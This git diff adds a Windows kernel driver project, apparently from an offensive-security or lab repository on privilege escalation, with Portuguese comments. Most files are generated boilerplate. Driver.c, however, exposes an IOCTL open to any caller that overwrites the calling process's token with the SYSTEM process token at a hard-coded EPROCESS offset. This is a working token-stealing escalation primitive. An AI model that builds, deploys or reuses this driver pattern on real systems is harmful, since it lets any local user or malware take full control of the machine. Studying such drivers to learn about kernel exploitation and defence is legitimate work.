diff --git a/PrivilegeEscalation/GetSystem/VulnerableDriver.sln b/PrivilegeEscalation/GetSystem/VulnerableDriver.sln new file mode 100644 index 0000000..2d44e79 --- /dev/null +++ b/PrivilegeEscalation/GetSystem/VulnerableDriver.sln @@ -0,0 +1,32 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.12.35506.116 d17.12 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "VulnerableDriver", "VulnerableDriver\VulnerableDriver.vcxproj", "{2EBBB888-014F-499F-A4C1-B8195E374345}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|ARM64 = Debug|ARM64 + Debug|x64 = Debug|x64 + Release|ARM64 = Release|ARM64 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {2EBBB888-014F-499F-A4C1-B8195E374345}.Debug|ARM64.ActiveCfg = Debug|ARM64 + {2EBBB888-014F-499F-A4C1-B8195E374345}.Debug|ARM64.Build.0 = Debug|ARM64 + {2EBBB888-014F-499F-A4C1-B8195E374345}.Debug|ARM64.Deploy.0 = Debug|ARM64 + {2EBBB888-014F-499F-A4C1-B8195E374345}.Debug|x64.ActiveCfg = Debug|x64 + {2EBBB888-014F-499F-A4C1-B8195E374345}.Debug|x64.Build.0 = Debug|x64 + {2EBBB888-014F-499F-A4C1-B8195E374345}.Debug|x64.Deploy.0 = Debug|x64 + {2EBBB888-014F-499F-A4C1-B8195E374345}.Release|ARM64.ActiveCfg = Release|ARM64 + {2EBBB888-014F-499F-A4C1-B8195E374345}.Release|ARM64.Build.0 = Release|ARM64 + {2EBBB888-014F-499F-A4C1-B8195E374345}.Release|ARM64.Deploy.0 = Release|ARM64 + {2EBBB888-014F-499F-A4C1-B8195E374345}.Release|x64.ActiveCfg = Release|x64 + {2EBBB888-014F-499F-A4C1-B8195E374345}.Release|x64.Build.0 = Release|x64 + {2EBBB888-014F-499F-A4C1-B8195E374345}.Release|x64.Deploy.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/PrivilegeEscalation/GetSystem/VulnerableDriver/Device.h b/PrivilegeEscalation/GetSystem/VulnerableDriver/Device.h new file mode 100644 index 0000000..77b22be --- /dev/null +++ b/PrivilegeEscalation/GetSystem/VulnerableDriver/Device.h @@ -0,0 +1,46 @@ +/*++ + +Module Name: + + device.h + +Abstract: + + This file contains the device definitions. + +Environment: + + Kernel-mode Driver Framework + +--*/ + +#include "public.h" + +EXTERN_C_START + +// +// The device context performs the same job as +// a WDM device extension in the driver frameworks +// +typedef struct _DEVICE_CONTEXT +{ + ULONG PrivateDeviceData; // just a placeholder + +} DEVICE_CONTEXT, *PDEVICE_CONTEXT; + +// +// This macro will generate an inline function called DeviceGetContext +// which will be used to get a pointer to the device context memory +// in a type safe manner. +// +WDF_DECLARE_CONTEXT_TYPE_WITH_NAME(DEVICE_CONTEXT, DeviceGetContext) + +// +// Function to initialize the device and its callbacks +// +NTSTATUS +VulnerableDriverCreateDevice( + _Inout_ PWDFDEVICE_INIT DeviceInit + ); + +EXTERN_C_END diff --git a/PrivilegeEscalation/GetSystem/VulnerableDriver/Driver.c b/PrivilegeEscalation/GetSystem/VulnerableDriver/Driver.c new file mode 100644 index 0000000..50c40ca --- /dev/null +++ b/PrivilegeEscalation/GetSystem/VulnerableDriver/Driver.c @@ -0,0 +1,123 @@ +#include + +#define IOCTL_VULNERABLE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS) + +// Nomes para o dispositivo e o link simbólico +UNICODE_STRING DEVICE_NAME = RTL_CONSTANT_STRING(L"\\Device\\VulnerableDriver"); +UNICODE_STRING DEVICE_SYMBOLIC_NAME = RTL_CONSTANT_STRING(L"\\??\\VulnerableDriverLink"); + +// Função para descarregar o driver +void DriverUnload(PDRIVER_OBJECT DriverObject) { + // Remover o link simbólico e o dispositivo + IoDeleteSymbolicLink(&DEVICE_SYMBOLIC_NAME); + IoDeleteDevice(DriverObject->DeviceObject); + DbgPrint("Driver descarregado e recursos liberados.\n"); +} + +// Função para obter o processo SYSTEM +NTSTATUS GetSystemProcess(PEPROCESS* SystemProcess) { + NTSTATUS status; + HANDLE hSystemProcess; + OBJECT_ATTRIBUTES objAttr; + CLIENT_ID clientId; + + InitializeObjectAttributes(&objAttr, NULL, OBJ_KERNEL_HANDLE, NULL, NULL); + clientId.UniqueProcess = (HANDLE)4; // PID do SYSTEM + clientId.UniqueThread = NULL; + + // Abrir o processo SYSTEM + status = ZwOpenProcess(&hSystemProcess, PROCESS_ALL_ACCESS, &objAttr, &clientId); + if (!NT_SUCCESS(status)) { + return status; + } + + // Obter referência ao objeto do processo + status = ObReferenceObjectByHandle(hSystemProcess, PROCESS_ALL_ACCESS, *PsProcessType, KernelMode, (PVOID*)SystemProcess, NULL); + ZwClose(hSystemProcess); + + return status; +} + +// Manipulador para o IOCTL +NTSTATUS IoControlHandler(PDEVICE_OBJECT DeviceObject, PIRP Irp) { + UNREFERENCED_PARAMETER(DeviceObject); + + PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp); + NTSTATUS status = STATUS_SUCCESS; + + if (irpStack->Parameters.DeviceIoControl.IoControlCode == IOCTL_VULNERABLE) { + __try { + PEPROCESS currentProcess = PsGetCurrentProcess(); + PEPROCESS systemProcess; + if (NT_SUCCESS(GetSystemProcess(&systemProcess))) { + *(PACCESS_TOKEN*)((char*)currentProcess + 0x4b8) = *(PACCESS_TOKEN*)((char*)systemProcess + 0x4b8); + ObDereferenceObject(systemProcess); + } + } + __except (EXCEPTION_EXECUTE_HANDLER) { + status = STATUS_UNSUCCESSFUL; + } + } + else { + status = STATUS_INVALID_DEVICE_REQUEST; + } + + Irp->IoStatus.Status = status; + IoCompleteRequest(Irp, IO_NO_INCREMENT); + return status; +} + +NTSTATUS MajorFunctions(PDEVICE_OBJECT DeviceObject, PIRP Irp) { + UNREFERENCED_PARAMETER(DeviceObject); + + DbgPrint("IRP_MJ_CREATE recebido.\n"); + + Irp->IoStatus.Status = STATUS_SUCCESS; + Irp->IoStatus.Information = 0; + IoCompleteRequest(Irp, IO_NO_INCREMENT); + + return STATUS_SUCCESS; +} + +// DriverEntry aprimorado +NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { + UNREFERENCED_PARAMETER(RegistryPath); + + PDEVICE_OBJECT deviceObject; + NTSTATUS status; + + // Criar o dispositivo + status = IoCreateDevice( + DriverObject, + 0, + &DEVICE_NAME, + FILE_DEVICE_UNKNOWN, + 0, + FALSE, + &deviceObject + ); + + if (!NT_SUCCESS(status)) { + DbgPrint("Erro ao criar dispositivo: %08x\n", status); + return status; + } + + + // Criar o link simbólico + status = IoCreateSymbolicLink(&DEVICE_SYMBOLIC_NAME, &DEVICE_NAME); + if (!NT_SUCCESS(status)) { + DbgPrint("Erro ao criar link simbólico: %08x\n", status); + IoDeleteDevice(deviceObject); + return status; + } + + DbgPrint("Dispositivo e link simbólico criados com sucesso.\n"); + + // Configurar rotinas de IRP + DriverObject->MajorFunction[IRP_MJ_CREATE] = MajorFunctions; + DriverObject->MajorFunction[IRP_MJ_CLOSE] = MajorFunctions; + DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IoControlHandler; + DriverObject->DriverUnload = DriverUnload; + + return STATUS_SUCCESS; +} diff --git a/PrivilegeEscalation/GetSystem/VulnerableDriver/Driver.h b/PrivilegeEscalation/GetSystem/VulnerableDriver/Driver.h new file mode 100644 index 0000000..eee4654 --- /dev/null +++ b/PrivilegeEscalation/GetSystem/VulnerableDriver/Driver.h @@ -0,0 +1,35 @@ +/*++ + +Module Name: + + driver.h + +Abstract: + + This file contains the driver definitions. + +Environment: + + Kernel-mode Driver Framework + +--*/ + +#include +#include +#include + +#include "device.h" +#include "queue.h" +#include "trace.h" + +EXTERN_C_START + +// +// WDFDRIVER Events +// + +DRIVER_INITIALIZE DriverEntry; +EVT_WDF_DRIVER_DEVICE_ADD VulnerableDriverEvtDeviceAdd; +EVT_WDF_OBJECT_CONTEXT_CLEANUP VulnerableDriverEvtDriverContextCleanup; + +EXTERN_C_END diff --git a/PrivilegeEscalation/GetSystem/VulnerableDriver/Public.h b/PrivilegeEscalation/GetSystem/VulnerableDriver/Public.h new file mode 100644 index 0000000..c396a8d --- /dev/null +++ b/PrivilegeEscalation/GetSystem/VulnerableDriver/Public.h @@ -0,0 +1,24 @@ +/*++ + +Module Name: + + public.h + +Abstract: + + This module contains the common declarations shared by driver + and user applications. + +Environment: + + user and kernel + +--*/ + +// +// Define an Interface Guid so that apps can find the device and talk to it. +// + +DEFINE_GUID (GUID_DEVINTERFACE_VulnerableDriver, + 0x57e649d9,0xca9a,0x416a,0x8c,0xc8,0xee,0x35,0xc8,0x99,0x86,0xce); +// {57e649d9-ca9a-416a-8cc8-ee35c89986ce} diff --git a/PrivilegeEscalation/GetSystem/VulnerableDriver/Queue.h b/PrivilegeEscalation/GetSystem/VulnerableDriver/Queue.h new file mode 100644 index 0000000..2628e60 --- /dev/null +++ b/PrivilegeEscalation/GetSystem/VulnerableDriver/Queue.h @@ -0,0 +1,42 @@ +/*++ + +Module Name: + + queue.h + +Abstract: + + This file contains the queue definitions. + +Environment: + + Kernel-mode Driver Framework + +--*/ + +EXTERN_C_START + +// +// This is the context that can be placed per queue +// and would contain per queue information. +// +typedef struct _QUEUE_CONTEXT { + + ULONG PrivateDeviceData; // just a placeholder + +} QUEUE_CONTEXT, *PQUEUE_CONTEXT; + +WDF_DECLARE_CONTEXT_TYPE_WITH_NAME(QUEUE_CONTEXT, QueueGetContext) + +NTSTATUS +VulnerableDriverQueueInitialize( + _In_ WDFDEVICE Device + ); + +// +// Events from the IoQueue object +// +EVT_WDF_IO_QUEUE_IO_DEVICE_CONTROL VulnerableDriverEvtIoDeviceControl; +EVT_WDF_IO_QUEUE_IO_STOP VulnerableDriverEvtIoStop; + +EXTERN_C_END diff --git a/PrivilegeEscalation/GetSystem/VulnerableDriver/ReadMe.txt b/PrivilegeEscalation/GetSystem/VulnerableDriver/ReadMe.txt new file mode 100644 index 0000000..0b59283 --- /dev/null +++ b/PrivilegeEscalation/GetSystem/VulnerableDriver/ReadMe.txt @@ -0,0 +1,41 @@ +======================================================================== + VulnerableDriver Project Overview +======================================================================== + +This file contains a summary of what you will find in each of the files that make up your project. + +VulnerableDriver.vcxproj + This is the main project file for projects generated using an Application Wizard. + It contains information about the version of the product that generated the file, and + information about the platforms, configurations, and project features selected with the + Application Wizard. + +VulnerableDriver.vcxproj.filters + This is the filters file for VC++ projects generated using an Application Wizard. + It contains information about the association between the files in your project + and the filters. This association is used in the IDE to show grouping of files with + similar extensions under a specific node (for e.g. ".cpp" files are associated with the + "Source Files" filter). + +Public.h + Header file to be shared with applications. + +Driver.c & Driver.h + DriverEntry and WDFDRIVER related functionality and callbacks. + +Device.c & Device.h + WDFDEVICE related functionality and callbacks. + +Queue.c & Queue.h + WDFQUEUE related functionality and callbacks. + +Trace.h + Definitions for WPP tracing. + +///////////////////////////////////////////////////////////////////////////// + +Learn more about Kernel Mode Driver Framework here: + +http://msdn.microsoft.com/en-us/library/ff544296(v=VS.85).aspx + +///////////////////////////////////////////////////////////////////////////// diff --git a/PrivilegeEscalation/GetSystem/VulnerableDriver/Trace.h b/PrivilegeEscalation/GetSystem/VulnerableDriver/Trace.h new file mode 100644 index 0000000..0983c48 --- /dev/null +++ b/PrivilegeEscalation/GetSystem/VulnerableDriver/Trace.h @@ -0,0 +1,62 @@ +/*++ + +Module Name: + + Trace.h + +Abstract: + + Header file for the debug tracing related function defintions and macros. + +Environment: + + Kernel mode + +--*/ + +// +// Define the tracing flags. +// +// Tracing GUID - 46a5d460-e63f-4b74-ab5f-d2839de75e3e +// + +#define WPP_CONTROL_GUIDS \ + WPP_DEFINE_CONTROL_GUID( \ + VulnerableDriverTraceGuid, (46a5d460,e63f,4b74,ab5f,d2839de75e3e), \ + \ + WPP_DEFINE_BIT(MYDRIVER_ALL_INFO) \ + WPP_DEFINE_BIT(TRACE_DRIVER) \ + WPP_DEFINE_BIT(TRACE_DEVICE) \ + WPP_DEFINE_BIT(TRACE_QUEUE) \ + ) + +#define WPP_FLAG_LEVEL_LOGGER(flag, level) \ + WPP_LEVEL_LOGGER(flag) + +#define WPP_FLAG_LEVEL_ENABLED(flag, level) \ + (WPP_LEVEL_ENABLED(flag) && \ + WPP_CONTROL(WPP_BIT_ ## flag).Level >= level) + +#define WPP_LEVEL_FLAGS_LOGGER(lvl,flags) \ + WPP_LEVEL_LOGGER(flags) + +#define WPP_LEVEL_FLAGS_ENABLED(lvl, flags) \ + (WPP_LEVEL_ENABLED(flags) && WPP_CONTROL(WPP_BIT_ ## flags).Level >= lvl) + +// +// WPP orders static parameters before dynamic parameters. To support the Trace function +// defined below which sets FLAGS=MYDRIVER_ALL_INFO, a custom macro must be defined to +// reorder the arguments to what the .tpl configuration file expects. +// +#define WPP_RECORDER_FLAGS_LEVEL_ARGS(flags, lvl) WPP_RECORDER_LEVEL_FLAGS_ARGS(lvl, flags) +#define WPP_RECORDER_FLAGS_LEVEL_FILTER(flags, lvl) WPP_RECORDER_LEVEL_FLAGS_FILTER(lvl, flags) + +// +// This comment block is scanned by the trace preprocessor to define our +// Trace function. +// +// begin_wpp config +// FUNC Trace{FLAGS=MYDRIVER_ALL_INFO}(LEVEL, MSG, ...); +// FUNC TraceEvents(LEVEL, FLAGS, MSG, ...); +// end_wpp +// diff --git a/PrivilegeEscalation/GetSystem/VulnerableDriver/VulnerableDriver.inf b/PrivilegeEscalation/GetSystem/VulnerableDriver/VulnerableDriver.inf new file mode 100644 index 0000000..90cae06 --- /dev/null +++ b/PrivilegeEscalation/GetSystem/VulnerableDriver/VulnerableDriver.inf @@ -0,0 +1,62 @@ +; +; VulnerableDriver.inf +; + +[Version] +Signature = "$WINDOWS NT$" +Class = System ; TODO: specify appropriate Class +ClassGuid = {4d36e97d-e325-11ce-bfc1-08002be10318} ; TODO: specify appropriate ClassGuid +Provider = %ManufacturerName% +CatalogFile = VulnerableDriver.cat +DriverVer = ; TODO: set DriverVer in stampinf property pages +PnpLockdown = 1 + +[DestinationDirs] +DefaultDestDir = 13 + +[SourceDisksNames] +1 = %DiskName%,,,"" + +[SourceDisksFiles] +VulnerableDriver.sys = 1,, + +;***************************************** +; Install Section +;***************************************** + +[Manufacturer] +%ManufacturerName% = Standard,NT$ARCH$.10.0...16299 ; %13% support introduced in build 16299 + +[Standard.NT$ARCH$.10.0...16299] +%VulnerableDriver.DeviceDesc% = VulnerableDriver_Device, Root\VulnerableDriver ; TODO: edit hw-id + +[VulnerableDriver_Device.NT] +CopyFiles = File_Copy + +[File_Copy] +VulnerableDriver.sys + +;-------------- Service installation +[VulnerableDriver_Device.NT.Services] +AddService = VulnerableDriver,%SPSVCINST_ASSOCSERVICE%, VulnerableDriver_Service_Inst + +; -------------- VulnerableDriver driver install sections +[VulnerableDriver_Service_Inst] +DisplayName = %VulnerableDriver.SVCDESC% +ServiceType = 1 ; SERVICE_KERNEL_DRIVER +StartType = 3 ; SERVICE_DEMAND_START +ErrorControl = 1 ; SERVICE_ERROR_NORMAL +ServiceBinary = %13%\VulnerableDriver.sys + +[VulnerableDriver_Device.NT.Wdf] +KmdfService = VulnerableDriver, VulnerableDriver_wdfsect + +[VulnerableDriver_wdfsect] +KmdfLibraryVersion = $KMDFVERSION$ + +[Strings] +SPSVCINST_ASSOCSERVICE = 0x00000002 +ManufacturerName = "" ;TODO: Replace with your manufacturer name +DiskName = "VulnerableDriver Installation Disk" +VulnerableDriver.DeviceDesc = "VulnerableDriver Device" +VulnerableDriver.SVCDESC = "VulnerableDriver Service" diff --git a/PrivilegeEscalation/GetSystem/VulnerableDriver/VulnerableDriver.vcxproj b/PrivilegeEscalation/GetSystem/VulnerableDriver/VulnerableDriver.vcxproj new file mode 100644 index 0000000..52a1118 --- /dev/null +++ b/PrivilegeEscalation/GetSystem/VulnerableDriver/VulnerableDriver.vcxproj @@ -0,0 +1,149 @@ + + + + + Debug + x64 + + + Release + x64 + + + Debug + ARM64 + + + Release + ARM64 + + + + + + + + + + + + + + + + + + + + {2EBBB888-014F-499F-A4C1-B8195E374345} + {497e31cb-056b-4f31-abb8-447fd55ee5a5} + v4.5 + 12.0 + Debug + x64 + VulnerableDriver + + + + Windows10 + true + WindowsKernelModeDriver10.0 + Driver + KMDF + Universal + + + Windows10 + false + WindowsKernelModeDriver10.0 + Driver + KMDF + Universal + + + Windows10 + true + WindowsKernelModeDriver10.0 + Driver + KMDF + Universal + + + Windows10 + false + WindowsKernelModeDriver10.0 + Driver + KMDF + Universal + + + + + + + + + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + + true + true + trace.h + true + + + sha256 + + + + + true + true + trace.h + true + + + sha256 + + + + + true + true + trace.h + true + + + sha256 + + + + + true + true + trace.h + true + + + sha256 + + + + + + + + + \ No newline at end of file diff --git a/PrivilegeEscalation/GetSystem/VulnerableDriver/VulnerableDriver.vcxproj.filters b/PrivilegeEscalation/GetSystem/VulnerableDriver/VulnerableDriver.vcxproj.filters new file mode 100644 index 0000000..470e232 --- /dev/null +++ b/PrivilegeEscalation/GetSystem/VulnerableDriver/VulnerableDriver.vcxproj.filters @@ -0,0 +1,51 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + {8E41214B-6785-4CFE-B992-037D68949A14} + inf;inv;inx;mof;mc; + + + + + + + + Driver Files + + + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + + + Source Files + + + \ No newline at end of file